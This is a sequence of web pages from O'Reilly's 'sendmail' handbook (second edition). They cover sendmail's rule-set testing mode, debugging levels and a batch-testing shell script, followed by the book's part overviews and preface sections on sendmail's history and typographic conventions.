Previous: 38.4 Show an Item | sendmail | Next: 38.6 Process-Specified Addresses
38.4 Show an Item | Book Index | 38.6 Process-Specified Addresses


[Chapter 38] 38.6 Process-Specified Addresses

sendmailSearch this book
Previous: 38.5 Complex Actions Chapter 38
Rule-Set Testing with -bt 		Next: 38.7 Add Debugging for Detail

38.6 Process-Specified Addresses

The sendmail rule-testing mode has always had the ability to test individual rule sets, but prior to V8.7 sendmail, rule sets could be specified only by number. Beginning with V8.7, rule sets may also be specified by name. Prior to V8 sendmail, rule set 3 was always called first, even if you did not specify it. [3]

[3] This was adopted from IDA sendmail.

38.6.1 Syntax

The > prompt expects rule sets and addresses to be specified like this:

> ident,ident,ident... address

Each ident is a rule-set name or number. When there is more than one rule set, they must be separated from each other by commas (with no spaces between them).

For numbered rule sets, the number must be in the range of 0 through the highest number allowed. A number that is too large causes sendmail to print the following two errors:

bad ruleset number (max max)
Undefined ruleset number

A rule set whose number is below the maximum but that was never defined will act as though it was defined but lacks rules.

Named rule sets must exist in the symbol table. If the name specified was never defined, the following error is printed:

Undefined ruleset ident

If any rule set number in the comma-separated list of rule sets is omitted (e.g., ident,,ident), sendmail interprets the second comma as part of the second identifier, thus producing this error:

Undefined ruleset ,identifier

The address is everything following the first whitespace (space and tab characters) to the end of the line. If whitespace characters appear anywhere in the list of rule sets, the rule sets to the right of the whitespace are interpreted as part of the address.

38.6.2 The Address

Each address that is specified is processed by sendmail in the same way that mail addresses are processed when actual mail is being sent. Each is parsed and normalized so that everything but the actual address is thrown away. Each is then tokenized and placed into the workspace for rule-set processing. To illustrate, observe the following rule-testing session:

ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> 0 bill (Bill Bix)
rewrite: ruleset  0   input: bill
rewrite: ruleset  0 returns: $# local $: bill
> 0 Bill Bix <bill>
rewrite: ruleset  0   input: Bill Bix < bill >
rewrite: ruleset  0 returns: $# local $: Bill Bix < bill >
> 3,0 Bill Bix <bill>
rewrite: ruleset  3   input: Bill Bix < bill >
rewrite: ruleset  3 returns: bill
rewrite: ruleset  0   input: bill
rewrite: ruleset  0 returns: $# local $: bill
>

The first test illustrates that sendmail strips RFC822-style comments from addresses before tokenizing them. This results in the (Bill Bix) being thrown away so that rule set 0 sees only the address bill.

The second test illustrates that sendmail does not internally recognize addresses in angle brackets. Instead, rule set 3 throws away everything but the address in angle brackets, as shown in the third test.

Note that in many actual configuration files, rule set 3 also focuses on the host part of the address. For this reason, you should always begin with rule set 3 unless you are tuning a particular rule for which you know the precise input required.

38.6.3 Rule 3 Always Called First with -bt

When sendmail starts to run in rule-testing mode, its appearance and initial behavior vary from vendor to vendor and from version to version. When rule-testing mode begins, sendmail always prints an introductory banner. Pre-V8 sendmail printed the following banner:

ADDRESS TEST MODE
Enter <ruleset> <address>
>

It is important to note that (unless a banner says otherwise) sendmail always calls rule set 3 first. That is, even if you try to test rule set 0, you always first see the effects of rule set 3.

Beginning with V8 sendmail, rule set 3 is no longer automatically called. To ensure that there is no confusion, V8 sendmail prints this banner:

ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
>

Note that in all versions the last line (the >) is a prompt. At this prompt, you can specify a rule set and an address or, beginning with V8.7, any of the commands shown in Section 38.1, "Overview".

38.6.4 The Output

Each line of output that is produced when rule testing begins with an indication of the rule set number being processed:

rewrite: ruleset  3   input: Bill Bix < bill >

The word input precedes each address that is about to be processed by a rule set:

rewrite: ruleset  3   input: Bill Bix < bill >

The word returns precedes each address that is the result of rewriting by a rule set:

rewrite: ruleset  3 returns: bill

When rule sets call other rule sets as subroutines, those calls are shown in the output with input and returns pairs. In the following, rule set 11 is called as a subroutine rule set from inside rule set 3:

rewrite: ruleset  3   input: Bill Bix < bill >
rewrite: ruleset  11  input: bill
rewrite: ruleset  11 returns: bill
rewrite: ruleset  3  returns: bill

The output can also contain rule set operators:

rewrite: ruleset  0 returns: $# local $: bill

In this output, the operators are printed as they would appear in the configuration file. The $# selects a delivery agent, and the $: specifies the user. Under old versions of sendmail those operators are printed in the output as control characters:

rewrite: ruleset  0 returns: ^V local ^X bill

The correspondence between control characters in the output and sendmail configuration file operators is given in Table 38.2.

Table 38.2: Control Characters Versus Operators
Control | Operator | Meaning
^V | $# | Select delivery agent
^W | $@ | Specify host for delivery agent
^X | $: | Specify user for delivery agent

Previous: 38.5 Complex Actions | sendmail | Next: 38.7 Add Debugging for Detail
38.5 Complex Actions | Book Index | 38.7 Add Debugging for Detail


[Chapter 38] 38.7 Add Debugging for Detail

sendmailSearch this book
Previous: 38.6 Process-Specified Addresses Chapter 38
Rule-Set Testing with -bt 		Next: 38.8 Batch Rule-Set Testing

38.7 Add Debugging for Detail

In rule-testing mode the -d rule-testing command can be used to turn debugging output on and off. Prior to V8.7 sendmail the -d could be specified only on the command line. Beginning with V8.7 sendmail, the -d may also be specified in rule-testing mode. We illustrate the latter technique here.

Debugging output can reveal in great detail how individual rules are being handled. A debugging category and level of 21.12, for example, causes sendmail to print the LHS of each rule as it is tried. To illustrate, consider the following (highly simplified) configuration-file rule set:

S0
R@                  $#local $:$n                 handle <> form
R$*<@$+>$*          $#$M $@$R $:$1<@$2>$3        user@some.where
R$+                 $#local $:$1                 local names

Normal output that is produced when a rule-set number and address are entered at the > prompt looks like this:

> 0 george
rewrite: ruleset   0   input: george
rewrite: ruleset   0 returns: $# local $: george

But if we turn on debugging using the -d rule-testing command:

> -d21.12

the output that is produced when the same rule-set number and address are entered is more verbose than it was before:

>  0 george
rewrite: ruleset   0   input: george
---trying rule: @
--- rule fails
---trying rule: $* < @ $+ > $*
--- rule fails
---trying rule: $+
---rule matches: $# local $: $1
rewritten as: $# local $: george
rewrite: ruleset   0 returns: $# local $: george

Observe that the first rule in rule set 0 (the lone @) does not match george in the workspace. Therefore that rule fails and is skipped. Then the more complicated rule ($*<@$+>$*) is tried, and it too fails. Finally, the $+ operator in the last rule matches george, and the workspace is rewritten.

Note that the extra output that is produced by -d can potentially run to many lines. To capture the output for later examination, consider running sendmail in rule-testing mode from within a script(1), emacs(1), or similar session.

Higher levels of debugging are also available for examining rules and rule sets. The level -d21.15 shows $digit operators on the RHS being substituted with values from the LHS. The level -d21.35 causes each comparison, token versus token, to be printed.

To turn off the extra debugging output, just reuse the -d rule-testing command and specify a level of zero:

> -d21.0

A -d with no category or level behaves the same as the -d command-line switch (see Section 37.1, "The Syntax of -d"). It sets a default of 0-99.1.

38.7.1 A Trick

In debugging large configuration files, the output that is produced by the -d21.15 switch can become too huge to examine conveniently. A good alternative (when modifying or adding rules) is to temporarily insert a fake subroutine call before and after individual rules to see what they do:

R$*      $:$>TEST $1         <-  fake subroutine call
Rlhs     rhs                 <-  new rule
R$*      $:$>TEST $1         <-  fake subroutine call

With the fake wrapper around the new rule (the name TEST is arbitrary), ordinary rule testing with -bt now shows how the address is rewritten by that rule:

rewrite: ruleset  3   input: ...
rewrite: ruleset TEST   input: ...
rewrite: ruleset TEST returns: ...
                                    <-  new rule acted here
rewrite: ruleset TEST   input: ...
rewrite: ruleset TEST returns: ...
rewrite: ruleset  3 returns: ...
>

If you use this technique, remember, of course, to remove the fake subroutine calls before putting that configuration file into use.

Previous: 38.6 Process-Specified Addresses | sendmail | Next: 38.8 Batch Rule-Set Testing
38.6 Process-Specified Addresses | Book Index | 38.8 Batch Rule-Set Testing


[Chapter 38] 38.8 Batch Rule-Set Testing

sendmailSearch this book
Previous: 38.7 Add Debugging for Detail Chapter 38
Rule-Set Testing with -bt 		Next: 38.9 Pitfalls

38.8 Batch Rule-Set Testing

The output that is produced by sendmail can become huge, especially when many addresses need testing. To simplify the process (and to help bulletproof your configuration file), consider using a shell script like the following:

#!/bin/sh
/usr/lib/sendmail -bt < $1 |\
        egrep " 3.*input:| 0.*returns|^>" |\
        sed   -e 's/^rewrite: ruleset  //'

Here, the output is piped through a egrep(1) selects only the lines of interest. If this script were to be called testcf.sh, it could be invoked with the following command line:

% testcf.sh address.list

Here, the address.list is a file consisting of pairs of rule-set numbers and addresses like the following:

3,0 nobody@ourhost
3,0 nobody@ourhost.domain
3,0 nobody@distant.domain
 ... and so on

The output that is produced shows the input to rule set 3 and the delivery agent returned by each call to rule set 0:

> 3,0 nobody@outhost
 3   input: nobody @ outhost
 0 returns: $# local $: nobody
> 3,0 nobody@ourhost.domain
 3   input: nobody @ ourhost . domain
 0 returns: $# local $: nobody
> 3,0 nobody@distant.domain
 3   input: nobody @ distant . domain
 0 returns: $# smtp $@ distant . domain $: nobody < @ distant . domain >

Note that the address.list file should contain every conceivable kind of address. The output from the shell script should be saved. At a later time, after the configuration file is changed, diff(1) can be used to see if the saved output differs from the new output (to see whether anything unexpected changed as a result of your modifications).

Also note that directly calling rule sets 3 and 0 produces less useful information than does the /parse rule-testing command (see Section 38.5.5). If you use that command, a diff(1) against prior output may provide more interesting and complete information.

Previous: 38.7 Add Debugging for Detail | sendmail | Next: 38.9 Pitfalls
38.7 Add Debugging for Detail | Book Index | 38.9 Pitfalls


[Chapter 38] 38.9 Pitfalls

sendmailSearch this book
Previous: 38.8 Batch Rule-Set Testing Chapter 38
Rule-Set Testing with -bt 		Next: V. Appendixes

38.9 Pitfalls

  • Old programs and scripts that are designed to use -bt mode to test addresses and the like tend to break with each release of sendmail. Fortunately, they are easy to fix if you know the language involved.

  • There is no way to currently define rules on the fly. Consequently, you need to modify a configuration file and run sendmail in rule-testing mode repeatedly until the new rules work.

Previous: 38.8 Batch Rule-Set Testing | sendmail | Next: V. Appendixes
38.8 Batch Rule-Set Testing | Book Index | V. Appendixes


sendmail

By Bryan Costales & Eric Allman; ISBN 1-56592-222-0, 1050 pages.
Second Edition, January 1997.
(See the catalog page for this book.)

Search the text of sendmail.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Table of Contents

Preface

Part I: A Tutorial

Chapter 1: Introduction
Chapter 2: Have a V8
Chapter 3: The Roles of sendmail
Chapter 4: How to Run sendmail
Chapter 5: The sendmail.cf File
Chapter 6: The Mail Hub and Delivery Agents
Chapter 7: Macros
Chapter 8: Addresses and Rules
Chapter 9: Rule Set 0
Chapter 10: Rule Set 3
Chapter 11: Rule Sets 1 and S=
Chapter 12: Class
Chapter 13: Setting Options
Chapter 14: Headers, Precedence, and Trust
Chapter 15: Install and Test the client.cf File
Chapter 16: The null.mc File and m4
Chapter 17: The Hub's Complex Rules

Part II: Build and Install

Chapter 18: Compile and Install sendmail
Chapter 19: V8 m4 Configuration
Chapter 20: The checkcompat() Cookbook

Part III: Administration

Chapter 21: DNS and sendmail
Chapter 22: Security
Chapter 23: The Queue
Chapter 24: Aliases
Chapter 25: Mailing Lists and ~/.forward
Chapter 26: Logging and Statistics

Part IV: Reference

Chapter 27: The Configuration File
Chapter 28: Rules
Chapter 29: Rule Sets
Chapter 30: Delivery Agents
Chapter 31: Defined Macros
Chapter 32: Class Macros
Chapter 33: Database Macros
Chapter 34: Options
Chapter 35: Headers
Chapter 36: The Command Line
Chapter 37: Debugging with -d
Chapter 38: Rule-Set Testing with -bt

Part V: Appendixes

Appendix A: The client.cf File
Appendix B: Host Status File Internals
Appendix C: The Berkeley DB Database
Appendix D: Sun Enhancements

Bibliography

The Networking CD Bookshelf Navigation The Networking CD BookshelfDNS & BINDTCP/IP Network Administrationsendmail Desktop ReferenceBuilding Internet FirewallsPractical UNIX & Internet Security

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


[Part I] A Tutorial

sendmailSearch this book
Previous: Acknowledgments Part I Next: 1. Introduction

Part I: A Tutorial

The first part of this book is a tutorial intended mainly for those with a limited understanding of sendmail. Its aim is to provide the novice with a general introduction to V8 sendmail.

Chapter 1, Introduction

Covers mail transfer agents and mail user agents, explains why sendmail is so complex, gives an overview of sendmail, and describes the differences between the header, body, and envelope of a mail message.

Chapter 2, Have a V8

Shows where and how to get the source for V8 sendmail and how to compile and test a working binary.

Chapter 3, The Roles of sendmail

Shows how sendmail processes aliases, queues messages for later transmission, does local and remote delivery, and runs in the background listening for incoming mail.

Chapter 4, How to Run sendmail

Illustrates use of the -b (become), -v (verbose), and -d (debugging) command-line switches.

Chapter 5, The sendmail.cf File

Provides a quick overview of all the commands found in the sendmail.cf file.

Chapter 6, The Mail Hub and Delivery Agents

Describes the hub approach and shows how M (delivery agent) commands can be used to forward mail to a central hub machine.

Chapter 7, Macros

Shows how text can be automatically propagated throughout the configuration file.

Chapter 8, Addresses and Rules

Describes a fictional network, then uses addresses in that network to illustrate rules and rule sets.

Chapter 9, Rule Set 0

Shows how rules in rule set 0 can select delivery agents and handle errors.

Chapter 10, Rule Set 3

Explains rule set 3, the first to rewrite all addresses.

Chapter 11, Rule Sets 1 and S=

Develops an S= rule set to make all mail appear as though it comes from the hub machine.

Chapter 12, Class

Shows how multiple values can be referenced with a single expression in the LHS of rules.

Chapter 13, Setting Options

Explains how options "tune" sendmail and offers a few suggestions.

Chapter 14, Headers, Precedence, and Trust

Completes the client.cf file by adding H, P, and T commands.

Chapter 15, Install and Test the client.cf File

Shows how to install the client.cf file as your working configuration file.

Chapter 16, The null.mc File and m4

Shows how m4 can be used to produce a client.cf file called nullclient.

Chapter 17, The Hub's Complex Rules

Concludes with a tour of a hub's major sendmail.cf file.

Previous: Acknowledgments | sendmail | Next: 1. Introduction
Acknowledgments | Book Index | 1. Introduction


[Part II] Build and Install

sendmailSearch this book
Previous: 17.5 Things to Try Part II Next: 18. Compile and Install sendmail

Part II: Build and Install

The second part of this book covers the building and installation of V8.8.4 sendmail, the latest version as of the publication of this book. If newer releases occur, you should obtain the latest source (see Section 18.3, "Obtain the Source") and use it in place of this version.

Chapter 18, Compile and Install sendmail

Discusses the reasons for using sendmail in the first place. Shows where and how to obtain the source and finally how to build and install the working binary and most support files.

Chapter 19, V8 m4 Configuration

Covers the easy creation of a configuration file using V8's m4 technique. A huge number of FEATUREs are described, each of which provides an easy solution to an otherwise difficult configuration problem.

Chapter 20, The checkcompat() Cookbook

Reveals the inner workings of sendmail's internal checkcompat() routine. Many typical problems are discussed and checkcompat() coding solutions offered.

Previous: 17.5 Things to Try | sendmail | Next: 18. Compile and Install sendmail
17.5 Things to Try | Book Index | 18. Compile and Install sendmail


[Part III] Administration

sendmailSearch this book
Previous: 20.3 Alphabetized V8.8 Subroutines Part III Next: 21. DNS and sendmail

Part III: Administration

The third part of this book covers the initial and day-to-day administration of sendmail. Of necessity, such administration must include other thorny issues, such as DNS and security, so we cover those subjects too.

Chapter 21, DNS and sendmail

Shows how sendmail and the Domain Naming System interact, explains how to get them to work together, and offers help in taming the wild MX record.

Chapter 22, Security

Explains why sendmail must run as root, then shows many ways to tighten security so that this will not be a problem.

Chapter 23, The Queue

Shows how the queue is organized, how sendmail protects itself from bad files in the queue, and how to process and print the queue.

Chapter 24, Aliases

Describes the aliases(5) file and the various parts that make it up. Also shows how to write a program to perform delivery, and how to manage and print the aliases database.

Chapter 25, Mailing Lists and ~/.forward

Illustrates the ins and outs of managing mailing lists, shows how to set up a ~/.forward file, and presents solutions to various problems with both. This chapter also describes mailing lists and how to produce and manage them; it concludes with full coverage of the ~/.forward file.

Chapter 26, Logging and Statistics

Explains how to use syslog(3) to log sendmail's activities and how to generate statistics from those logs. Describes the effect of signaling the daemon and the use of the -X command-line switch.

Previous: 20.3 Alphabetized V8.8 Subroutines | sendmail | Next: 21. DNS and sendmail
20.3 Alphabetized V8.8 Subroutines | Book Index | 21. DNS and sendmail


[Part IV] Reference

sendmailSearch this book
Previous: 26.5 Pitfalls Part IV Next: 27. The Configuration File

Part IV: Reference

The fourth part of this book provides a comprehensive reference for all the innerworkings of the configuration file, and for debugging and rule testing.

Chapter 27, The Configuration File

Presents an overview of the sendmail.cf file. Comments, joined lines, and the V configuration command are detailed.

Chapter 28, Rules

Shows how the workspace is rewritten by individual rules. Operators, like $*, are explained here.

Chapter 29, Rule Sets

Covers the flow of addresses through rule sets, and illustrates the special uses of rule sets 0 through 5, and the check_ rule sets.

Chapter 30, Delivery Agents

Shows how to define mail delivery agents with the M configuration command. The F= flags are also listed.

Chapter 31, Defined Macros

Shows how to define and use macros. An explanation of all macros currently in use is included.

Chapter 32, Class Macros

Shows how multiple values can be stored in class macros. The special uses of the $= and $~ prefixes are also shown.

Chapter 33, Database Macros

Shows how to create, declare, and use external databases and network maps.

Chapter 34, Options

Shows how to declare options from the command line and in the configuration file. Then every option is explained.

Chapter 35, Headers

Describes the legal contents and form of headers in email messages and in the H configuration command. Then many common headers are explained.

Chapter 36, The Command Line

Shows the many ways to run sendmail with emphasis on its numerous command-line switches.

Chapter 37, Debugging with -d

Documents the many debugging switches available with sendmail.

Chapter 38, Rule-Set Testing with -bt

Describes sendmail's rule-testing mode and shows the many ways to use that mode to solve problems.

Previous: 26.5 Pitfalls | sendmail | Next: 27. The Configuration File
26.5 Pitfalls | Book Index | 27. The Configuration File


[Part V] Appendixes

sendmailSearch this book
Previous: 38.9 Pitfalls Part V Next: A. The client.cf File

Part V: Appendixes

Appendix A, The client.cf File

Shows the configuration file developed in the tutorial.

Appendix B, Host Status File Internals

Describes the internals of the host status file created by the HostStatusDirectory option.

Appendix C, The Berkeley DB Database

Shows where to optain the db(3) source and how to compile and install it.

Appendix D, Sun Enhancements

Explains how Sun Microsystem's version of sendmail differs from V8.7 sendmail.

Previous: 38.9 Pitfalls | sendmail | Next: A. The client.cf File
38.9 Pitfalls | Book Index | A. The client.cf File


Preface

Contents:
Preface
History
Eric Allman Speaks
The Future
Organization
Audience and Assumptions
UNIX and sendmail Versions
Conventions Used in This Handbook
Additional Sources of Information
Acknowledgments

The primary reason for this book, the second edition of sendmail, is the release of version 8.8 of the sendmail program. V8.8 sendmail differs so significantly from earlier versions that a complete rewrite was called for.

Also, since the publication of the first edition, feedback from around the world made it clear that a number of improvements could be made. Some readers felt, for example, that the original offered too little in the way of real-world help, and that it lacked an annotated, major configuration file. Other readers offered suggestions of ways to make the book clearer. Some of these were minor but others, like the treatment of options, required extensive rewriting. One of the most noticeable changes between this edition and the original is the addition of section numbers and their attendant cross referencing.

Preface

King Gordias of Phrygia once created a knot so tangled that no one could undo it. The Gordian Knot stayed just that, or so the story says, until Alexander the Great came along and took a different approach to untying knots. It would be nice if the knot that is sendmail could be undone with one quick stroke of fresh insight, but, alas, it cannot. Instead, a more mundane approach must be taken, so in this book we untie it the hard way, one strand at a time.

But, you may ask, "Why the effort? Doesn't sendmail predate the dawn of computing time? Isn't it time to replace it with something new, something better, something modern?" Not so. Age has brought sendmail maturity and reliability. The sendmail program has withstood the test of time because it is more than just a program, it is a philosophy: a general-purpose, internetwork mail-routing facility with the flexibility and configurability to solve the mail-routing needs of all sites large or small, complex or simple.

These strengths of sendmail are also its weaknesses. Configurability has bred complexity. The sendmail program is difficult to configure and even more difficult to understand. Its configuration file, for example, can be positively frightening. But don't despair. With this book in hand, you should be able to configure sendmail to meet any need and bring the days of the sendmail guru to an end.

sendmail | Next: History
Book Index | History


[Preface] History

sendmailSearch this book
Previous: Preface Preface Next: Eric Allman Speaks

History

The sendmail program was originally written by Eric Allman while he was a student and staff member at the University of California at Berkeley. At the time, one campus machine (Ingres) was connected to the ARPAnet, and was home to the INGRES project where Eric was working. Another machine (Ernie CoVax) was home to the Berkeley UNIX project and had recently started using UUCP. These machines (as well as several others on campus) were connected by a low-cost network built by Eric Schmidt, called BerkNet. Software existed to move mail within ARPAnet, within UUCP, and within BerkNet, but none yet existed to move mail between these three networks.

A sudden increase in protocol types, coupled with the anticipation of an explosion in the number of networks, motivated Eric to write delivermail - the precursor to sendmail. The delivermail program was shipped in 1979 with 4.0 and 4.1 BSD UNIX. Unfortunately, delivermail was not flexible enough to handle the changes in mail routing requirements that actually occurred. Perhaps its greatest weakness was that its configuration was compiled-in.

In 1980, ARPAnet began converting from NCP (Network Control Protocol) to TCP (Transmission Control Protocol). This change increased the number of possible hosts from 256 to over one billion. Another change converted from a "flat" host-name space (like MIT-XX) into a hierarchical name space (like XX.MIT.EDU). Prior to these changes, mail was transported using the ftp protocol (File Transfer Protocol). Afterward, a new protocol was developed for transporting mail called SMTP (Simple Mail Transfer Protocol). These developments were not instantaneous. Some networks continued to run NCP years after most others switched to TCP. SMTP itself underwent many revisions before finally settling into its present form.

Responding to these and other changes, Eric evolved delivermail into sendmail. To ensure that messages transferred between networks would obey the conventions required by those networks, Eric took a "liberal" approach - modifying address information to conform, rather than rejecting it. At the time, for example, UUCP mail often had no headers at all, so sendmail had to create them from scratch.

The first sendmail program was shipped with 4.1c BSD (the first version of Berkeley UNIX to include TCP/IP). From that first release to the present, [1] Eric has continued to enhance sendmail, first at UC Berkeley, then at Britton Lee, then back at UC Berkeley, and now with InReference Inc. The current version of sendmail is 8.x (or V8 for short). V8 is a major rewrite that includes many bug fixes and significant enhancements.

[1] With one long gap between 1982 and 1990.

But Eric wasn't the only one working on sendmail. In 1987, Lennart Lovstrand of the University of Linköping, Sweden, developed the IDA enhancements to BSD sendmail Version 5. IDA (which stands for "Institutionen för Datavetenskap") injected a number of improvements into sendmail (such as support for dbm files and separate rewriting of headers and envelopes) and fixed a number of bugs. As the '90s approached, two offspring of IDA appeared.

Neil Rickert (Northern Illinois University) and Paul Pomes (The University of Illinois) took over maintenance of IDA sendmail. With contributions from around the world, their version (UIUC IDA) represents a continuation of the work begun by Lennart Lovstrand. Neil focused on fixing and enhancing the configuration files into their current m4-based form. Paul maintained the code, continually adding enhancements and fixing bugs. In general, their version was large, ambitious, and highly portable. It succeeded in solving many complex mail routing problems.

A variation on IDA sendmail was also developed by Paul Vixie (while at Digital Equipment Corporation). Called KJS (for King James sendmail), it was a more conservative outgrowth of Lennart Lovstrand's last IDA release. The focus of KJS was on code improvement rather than changes to configuration files.

In addition to these major offshoots, many vendors have modified sendmail to suit their particular needs. Sun Microsystems made many modifications and enhancements to sendmail, including support for nis and nisplus maps. Hewlett Packard also contributed many fine enhancements including 8BITMIME support.

This explosion of sendmail versions has led to a great deal of confusion. Solutions to problems that work for one version of sendmail fail miserably with others. Beyond this, configuration files are not portable, and some features cannot be shared.

In 1994, Eric began work on V8.7 sendmail. The first major departure from tradition in years, V8.7 introduces multicharacter option and macro names, new interactive commands to use with -bt mode, and fixes many of the problems and limitations of earlier releases. But, more important, V8.7 has officially adopted most of the good features from IDA, KJS, Sun, and HP's sendmail, and kept abreast of the latest standards from the Internet Engineering Task Force. In 1996, Eric began work on V8.8 sendmail. This release continued the trend begun with V8.7, adding many requested new features and options, and tightening security. Since V8.8 is now the official release of sendmail, it is the one solely documented in this book.

Previous: Preface | sendmail | Next: Eric Allman Speaks
Preface | Book Index | Eric Allman Speaks


[Preface] Eric Allman Speaks

sendmailSearch this book
Previous: History Preface Next: The Future

Eric Allman Speaks

I have to admit that I'm surprised by how well sendmail has succeeded. It's not because of a large marketing organization or a deep-pockets budget. I think there are three reasons.

First, sendmail took the approach that it should try to accept, clean up, and deliver even very "crufty" messages instead of rejecting them because they didn't meet some protocol. I felt this was important because I was trying to gateway UUCP to the ARPAnet. At the time, the ARPAnet was small, UUCP was anarchy (some say it still is), and UNIX mail programs generally didn't even understand headers. It was harder to do, but after all, the goal was to communicate, not to be pedantic.

Second, I limited myself to the routing function - I wouldn't write user agents or delivery back-ends. This was a departure from the dominant thought of the time, where routing logic, local delivery, and often the network code was incorporated directly into the user agents. But it did let people incorporate their new networks quickly.

Third, the sendmail configuration file was flexible enough to adapt to a rapidly changing world: The 1980s saw the proliferation of new protocols, networks, and user agents.

And, of course, it didn't hurt that it was free, available at the right time, and did what needed to be done.

Configuring sendmail is complex because the world is complex. It is dynamic because the world is dynamic. Someday sendmail, like X11, will die - but I'm not holding my breath. In the meantime, perhaps this book will help.

When I started reviewing Bryan's manuscript, I had been avoiding any major work on sendmail. But then I started reading about various petty bugs and annoyances that all seemed easy to fix. So I started making small fixes, then larger ones; then I went through RFC1123 to bring the specs up-to-date, cleaned up a bunch of eight-bit problems, and added ESMTP. It would be fair to say that the book and sendmail Version 8 fed on each other - each has improved the presence of the other.

Previous: History | sendmail | Next: The Future
History | Book Index | The Future


[Preface] The Future

sendmailSearch this book
Previous: Eric Allman Speaks Preface Next: Organization

The Future

The explosive growth of the Internet, coupled with the universal acceptance of email as a desirable form of communication, guarantee that sendmail will continue to evolve and improve for years to come. Well before the release of V8.8, Eric was already thinking about V8.9. To glimpse some of what is in store, look at the file KNOWNBUGS distributed with the source. Note that some of the problems listed are thorny in the extreme and difficult to solve.

Also, percolating constantly in the back of Eric's brain is something he calls "Son of Sendmail" (or sos), a complete rewrite of sendmail from the ground up targeted for the far future. Those of you who have followed the evolution of the source may have noticed that functions are constantly being redesigned to make a future, massive rewrite easier and more modular.

Previous: Eric Allman Speaks | sendmail | Next: Organization
Eric Allman Speaks | Book Index | Organization


[Preface] Organization

sendmailSearch this book
Previous: The Future Preface Next: Audience and Assumptions

Organization

We've divided this book into four parts, each addressing a particular aspect of sendmail as a whole.

Part I - A Tutorial

Part One is a tutorial than can serve as either a hands-on, step-by-step introduction to sendmail for the beginner or a succinct review for the more experienced user. Chapter 1, Introduction through Chapter 4, How to Run sendmail form an overview of email in general, and discuss the roles, behavior, and parts of sendmail. Chapter 5, The sendmail.cf File through Chapter 15, Install and Test the client.cf File examine the configuration file in detail. In them, we develop a mini-configuration file, suitable for use on some client workstations. Chapter 16, The null.mc File and m4 and Chapter 17, The Hub's Complex Rules conclude the tutorial, tying up loose ends and transitioning into more complex configuration files.

Part II - Installation

Part Two covers compilation and installation of sendmail. Chapter 18, Compile and Install sendmail shows how to compile and install sendmail from the source. Chapter 19, V8 m4 Configuration shows how to create a configuration file with the m4(1) configuration technique. Chapter 20, The checkcompat() Cookbook concludes by illustrating the checkcompat() routine.

Part III - Administration

Part Three covers general administration of sendmail for more experienced users. Chapter 21, DNS and sendmail covers DNS in general and MX records specifically. Chapter 22, Security shows how to protect your site from intrusion. Chapter 23, The Queue through Chapter 26, Logging and Statistics round out the picture with details about the queue, aliases, mailing lists, logging, and statistics.

Part IV - Reference

Part Four is the nitty-gritty - a reference section that provides more detail about sendmail than you may ever need. Each chapter is dedicated to a specific aspect of sendmail or its configuration file. Chapter 31, Defined Macros, for example, details defined macros, and includes an alphabetized reference. Chapter 37, Debugging with -d shows all the debugging switches.

Previous: The Future | sendmail | Next: Audience and Assumptions
The Future | Book Index | Audience and Assumptions


[Preface] Audience and Assumptions

sendmailSearch this book
Previous: Organization Preface Next: UNIX and sendmail Versions

Audience and Assumptions

This book is primarily intended for system administrators who have been granted the dubious honor of administering email. But not all UNIX systems are managed by administrators. Many are managed by programmers, network engineers, and even by inexperienced users. It is our hope that this book satisfies all of you, no matter what your level of experience.

The true beginner should begin with Part 1, skipping ahead as needed.

The beginning system administrator should probably start with the tutorial in Part 1, then read Part 3 for help in understanding how to administer sendmail. Note that Parts 2 and 4 will reveal answers to many nagging questions that seem to be otherwise unanswered.

The experienced system administrator who wants to install and manage V8 sendmail should read Parts 2 and 3 first to gain the needed background. Then read Part 4.

UNIX gurus and sendmail specialists should find Part 4 to be of value (even Eric keeps a copy on his desk). In it, every arcane detail of sendmail is listed alphabetically. There is, for example, a single chapter dedicated to options, with every option listed and explained.

No matter what your level of expertise, the sheer size of this book forces us to assume that you are familiar with the day-to-day system workings of UNIX. If not, you must learn UNIX elsewhere.

Previous: Organization | sendmail | Next: UNIX and sendmail Versions
Organization | Book Index | UNIX and sendmail Versions


[Preface] UNIX and sendmail Versions

sendmailSearch this book
Previous: Audience and Assumptions Preface Next: Conventions Used in This Handbook

UNIX and sendmail Versions

For the most part, we illustrate sendmail under BSD UNIX and its variants (such as SunOS 4.x). Where AT&T System V (SysV) differs (such as Sun's Solaris 2.x), we illustrate those differences.

Our primary focus throughout this book is on version 8.8 sendmail. For completeness, and where necessary, we also discuss V8.7 and earlier (such as BSD's version 5, [2] IDA, early Sun, Ultrix, and NeXT).

[2] The versions jump from 5 to 8 because the managers of the BSD 4.4 UNIX distribution wanted all software to be released as version 8. Prior to that decision, the new BSD sendmail was designated Version 6. V6 survived only the alpha and beta releases before being bumped to V8.

Previous: Audience and Assumptions | sendmail | Next: Conventions Used in This Handbook
Audience and Assumptions | Book Index | Conventions Used in This Handbook


[Preface] Conventions Used in This Handbook

sendmailSearch this book
Previous: UNIX and sendmail Versions Preface Next: Additional Sources of Information

Conventions Used in This Handbook

The following typographic conventions are used in this book:

Italic

is used for names, including pathnames, filenames, program and command names, usernames, hostnames, machine names, and mailing-list names, as well as for mail addresses. It is also used to emphasize new terms and concepts when they are introduced.

Constant Width

is used in examples to show the contents of files or the output from commands. This includes examples from the configuration file or other files such as message files, shell scripts, or C language program source. Constant-width text is quoted only when necessary to show enclosed space; for example, the five-character "From " header.

Single characters, symbolic expressions, and command-line switches are always shown in constant-width font. For instance, the o option illustrates a single character, the rule $- illustrates a symbolic expression, and -d illustrates a command-line switch.

Constant Bold

is used in examples to show commands or some other text that is to be typed literally by the user. For example, the phrase cat/etc/sendmail.pid means the user should type "cat/etc/sendmail.pid" exactly as it appears in the text or example.

Constant Italic

is used in examples to show variables for which a context-specific substitution should be or will be made. In the string Snum, for example, num will be a user-assigned integer. In the output error: num, for example, num will be a variable value printed by a program (usually sendmail).

%

indicates a user shell.

#

indicates a root shell.

Previous: UNIX and sendmail Versions | sendmail | Next: Additional Sources of Information
UNIX and sendmail Versions | Book Index | Additional Sources of Information


[Preface] Additional Sources of Information

sendmailSearch this book
Previous: Conventions Used in This Handbook Preface Next: Acknowledgments

Additional Sources of Information

